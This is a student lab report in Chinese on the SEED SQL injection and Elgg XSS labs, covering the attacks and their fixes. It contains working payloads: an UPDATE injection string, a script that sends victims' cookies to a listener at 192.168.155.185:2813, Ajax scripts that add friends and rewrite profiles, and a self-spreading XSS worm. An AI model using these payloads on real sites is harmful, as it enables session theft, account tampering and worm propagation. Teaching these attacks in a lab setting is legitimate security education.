20212818 2021-2022-2 《網路攻防實踐》實踐十
一、實踐內容
1、SQL注入攻擊
(1)定義:
SQL注入攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式,而這些輸入大都是SQL語法裡的一些組合,通過執SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。對於Web應用程式而言,使用者核心資料儲存在資料庫中,例如MySQL、SQL Server、Oracle,SQL注入即攻擊者通過構造特殊的SQL語句,入侵目標系統,致使後臺資料庫洩露資料的過程。通過SQL注入攻擊,可以獲取、修改、刪除資料庫資訊,並且通過提權來控制Web伺服器等其他操作。因為SQL注入漏洞造成的嚴重危害性,所以常年穩居OWASP TOP10的榜首。
(2)SQL注入的危害
- 拖庫導致使用者資料洩漏。
- 危害web等應用的安全。
- 失去作業系統的控制權。
- 使用者資訊被非法買賣。
- 危害企業及國家的安全。
(3)SQL注入分類
根據輸入的 “引數”型別,可以將SQL注入分為兩大類:“ 數值型”注入、 “字元型”注入。具體的分類方式如下圖:
2、 xss跨站指令碼攻擊
(1)定義
XSS攻擊是指攻擊者利用網站程式對使用者輸入過濾不足的缺陷,輸入可以顯示在頁面上或者對其他使用者造成影響的HTML程式碼,從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
(2)實質
跨站指令碼攻擊本質上是一種將惡意指令碼嵌入到當前頁面中並執行的攻擊方式。通常黑客通過“HTML注入”行為篡改網頁,並插入惡意JavaScript(JS)指令碼,從而在使用者瀏覽網頁時控制瀏覽器的行為。
(3)xss攻擊型別
- 反射型XSS:瀏覽器—伺服器互動
將使用者輸入的資料通過URL的形式直接或未經過完善的安全過濾就在瀏覽器中進行輸出,導致輸出的資料中存在可被瀏覽器執行的程式碼資料(黑客通常需要通過誘騙或者加密變形等方式,將惡意程式碼的連結傳送給使用者,使用者觸發後才能攻擊成功)
- 儲存型XSS:瀏覽器—伺服器—資料庫互動(可直接產生大範圍危害,具有較強的穩定性)
web應用程式將使用者輸入的資料資訊儲存在服務端的資料庫或者其他檔案形式中,網頁進行資料查詢展示時,會從資料庫中獲取資料內容,並將資料內容在網頁中進行輸出展示,只要使用者訪問具有XSS攻擊指令碼的網頁時,就會觸發攻擊
- DOM型XSS:瀏覽器—伺服器互動(由於構造語句難度較大,比較少見)
是由JavaScript的DOM節點程式設計可以改變HTML程式碼的特性形成的XSS攻擊,需要針對具體的JavaScript DOM程式碼進行分析,從而利用
二、實踐過程
任務一:SEED SQL注入攻擊與防禦實驗
我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
-
熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
-
對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
-
對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
-
SQL對抗:修復上述SQL注入攻擊漏洞。
首先熟悉SQL語句:
開啟SEEDUbuntu虛擬機器。
登入 MySQL 資料庫,命令為:mysql -u root -p(注意進入root模式)。
使用系統建立好的 Users 資料庫:命令為:use Users;(注意命令結束符分號)。
檢視該資料庫下所有的表,命令為:show databases;(注意命令結束符分號)。
查詢表中的所有記錄,命令為:select * from credential;(注意命令結束符分號)。
嘗試進行條件查詢,命令為:select * from credential where ID = '1';(注意命令結束符分號),表示篩選ID為1的資訊,只查詢到了一條記錄。
接下來對select語句進行SQL注入攻擊:
開啟SEEDUbuntu的火狐瀏覽器,輸入網址http://www.seedlabsqlinjection.com/
檢視網頁原始碼,直接在網頁頁面按快捷鍵:ctrl+U。
程式碼的主體如下圖, 程式碼邏輯主要是:使用者輸入自己的資訊,點選提交後,將使用者輸入的資訊使用get方法提交至unsafe_home.php,然後進行資訊驗證。
接下來分析php 頁面,在終端輸入命令:cd /var/www/SQLInjection/,因為網站對應的檔案在此地址中。
檢視unsafe_home.php頁面的原始碼,在這個頁面我們可以進行SQL注入攻擊,我們可以通過vim unsafe_home.php
檢視對應的原始碼。
修改下面的程式碼,將$input_uname修改為Wenjin,並註釋掉Password,注意要進入root模式,否則沒有許可權修改程式碼。
然後我們進入火狐瀏覽器,再次進入http://www.seedlabsqlinjection.com/頁面,在使用者名稱處輸入Admin,不輸入密碼,點選login,登陸成功。則SQL注入攻擊成功。
對 UPDATE 語句的 SQL 注入攻擊:
同樣首先進入資料夾var/www/SQLInjection,命令為cd /var/www/SQLInjection/,然後開啟unsafe_edit_backend.php,命令為:vim unsafe_edit_backend.php,在裡面查詢動態構建的SQL語句。
點選網頁上的edit profile
在nickname中輸入:', salary='10086' where Name='Alice';#
然後點選save。
可以看到Alice的salary由20000變為10086,則SQL注入攻擊成功。
SQL對抗,修復上述SQL注入攻擊漏洞:
這裡進行SQL注入漏洞處理的關鍵是進行預處理,所以我們使用預處理語句,將程式碼做如下修改:
unsafe_home.php中的select原始碼如下圖所示:
將其修改為:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
修改完成後再進行select語句SQL注入攻擊,會顯示有error,證明攻擊失敗,則修改成功。
將unsafe_edit_backend.php
的原始碼中,將原來的UPDATE語句修改為:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
再進行UPDATE語句SQL注入攻擊,會無法修改使用者內容,證明SQL注入攻擊失敗,則程式碼修改成功。
任務二:
SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
-
釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
-
彈窗顯示cookie資訊:將cookie資訊顯示。
-
竊取受害者的cookies:將cookie傳送給攻擊者。
-
成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
-
修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
-
編寫XSS蠕蟲。
-
對抗XSS攻擊
釋出惡意訊息,顯示警報視窗:
在火狐瀏覽器中開啟書籤XSS Lab Site(http://www.xsslabelgg.com),用Alice的賬號資訊登入,使用者名稱為Alice,密碼seedalice。
登入成功之後的頁面
然後我們嘗試輸入攻擊程式碼,首先點選Alice頭像,然後點選Edit profile,找到Brief description。
在Brief description中輸入XSS攻擊程式碼,程式碼為:<script> alert('xss');</script>
輸入完成後點選save。
可以看到有內容為xss的彈窗,點選ok之後,彈窗消失,再重新整理當前的網頁,又出現xss彈窗。證明已成功釋出惡意訊息,顯示警報視窗。
彈窗顯示cookie資訊:將cookie資訊顯示:
和上面類似,在Brief description中輸入XSS攻擊程式碼,程式碼為:<script>alert(document.cookie);</script>
點選儲存之後,出現一個包含cookie資訊的彈窗。點選ok之後,彈窗消失,再重新整理當前的網頁,又出現xss彈窗。則證明成功使彈窗顯示cookie資訊。
竊取受害者的cookies:將cookie傳送給攻擊者:
查詢本機的ip地址為192.168.155.185:
上一個XSS攻擊獲取的cookie資訊僅僅顯示到了彈窗,這裡我們需要將cookie傳送給攻擊者。
同樣在Alice的Brief description中輸入攻擊程式碼,這次的xss攻擊程式碼為:<script>document.write('<img src=http://192.168.155.185:2813?c='+escape(document.cookie) + ' >');</script>
,其中192.168.155.185是自己seedubuntu的IP地址,2813是任意的一個沒有被佔用的埠。這個攻擊程式碼的意思是將受害者(Boby)的cookie資訊傳送給攻擊者(Alice)。
登入boby的賬號,賬號為Boby,密碼為seedboby。
監聽2813號埠,命令為:nc -l 2813 -v。
使用Boby的賬號訪問Alice 的主頁(在搜尋欄裡搜尋Alice)。
成為受害者的朋友:
首先開啟火狐瀏覽器的Network頁面,快捷鍵為:ctrl+shift+E。
然後在搜尋框中輸入Boby,回車以訪問boby。
查詢到Boby後,點選其頭像,選擇Add friend。
可以觀察到POST請求。
其中Request URL是:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1653236946&__elgg_token=slMLg70yr6ZYrOW5BDZX
可以觀察到這裡用了三個引數:friend、__elgg_ts、__elgg_token
,分別代表好友、時間、身份認證;
請求的地址是http://www.xsslabelgg.com/action/friends/add
於是構建xss攻擊程式碼如下所示:
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //構造http請求新增好友 var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //建立併發送Ajax請求新增好友 Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
將上面的xss攻擊程式碼放到Alice的About me
下,注意選擇Edit HTML
模式,然後點選Save。
用Boby的賬號訪問Alice主頁,然後返回Boby主頁,發現Alice已經成為Boby的朋友。
修改受害者的資訊:
開啟火狐瀏覽器的Network頁面,快捷鍵為:ctrl+shift+E。
先將Alice的About me修改為任意資訊,如:20212818,並Network檢視資訊:
通過Network可以觀察到post請求:
請求的地址是http://www.xsslabelgg.com/action/profile/edit
POST提交的資料分別為:__elgg_token
、__elgg_ts
、name
和phone等等
此次設計的xss攻擊程式碼為:
<script type="text/javascript"> window.onload = function(){ //JavaScript code 訪問 user name, user guid, Time Stamp __elgg_ts and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //構建url內容 var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //建立併發送Ajax請求給modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
同樣將這段程式碼放在Alice的about me中,並點選save。
然後登入Boby,用Boby的賬號訪問Alice的主頁,再返回Boby的主頁,發現Boby的about me已經被改變了(Boby的about me本來為空)。則攻擊成功了。
編寫 XSS 蠕蟲:
蠕蟲感染可以使不同使用者之間相互傳播感染,程式碼如下:
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
將這段程式碼同樣放入Alice的about me中,並點選save。
用Boby訪問Alice主頁,然後返回Boby主頁,發現Boby被感染。
登入Samy賬號,密碼為seedsamy。同樣,用Samy訪問Boby主頁,然後返回Samy主頁,發現Samy被感染。說明xss蠕蟲編寫成功。
對抗xss攻擊:
可以使用外掛HTMLawed禁止部分程式碼塊的執行,以保證安全,它可以對使用者的輸入輸出進行校驗並且過濾標籤。
也可以使用禁用JavaScript渲染的功能,這樣也可避免這類攻擊。
三、學習中遇到的問題及解決
問題:剛開始用的SEEDUbuntu中沒有user表
解決辦法:重新安裝了有user表的SEEDUbuntu版本。
四、實踐總結
本次實驗讓我認識了SQL注入攻擊與XSS攻擊,認識到了日常生活中網路攻擊的危害並動手實踐了SQL注入攻擊與XSS攻擊,感覺對網路攻防的知識掌握得更多了。這次實驗也比較耗時,涉及到的知識比較多,考察了我的知識掌握水平,也讓我認識到要腳踏實地一步一步做才能好好完成手上的工作。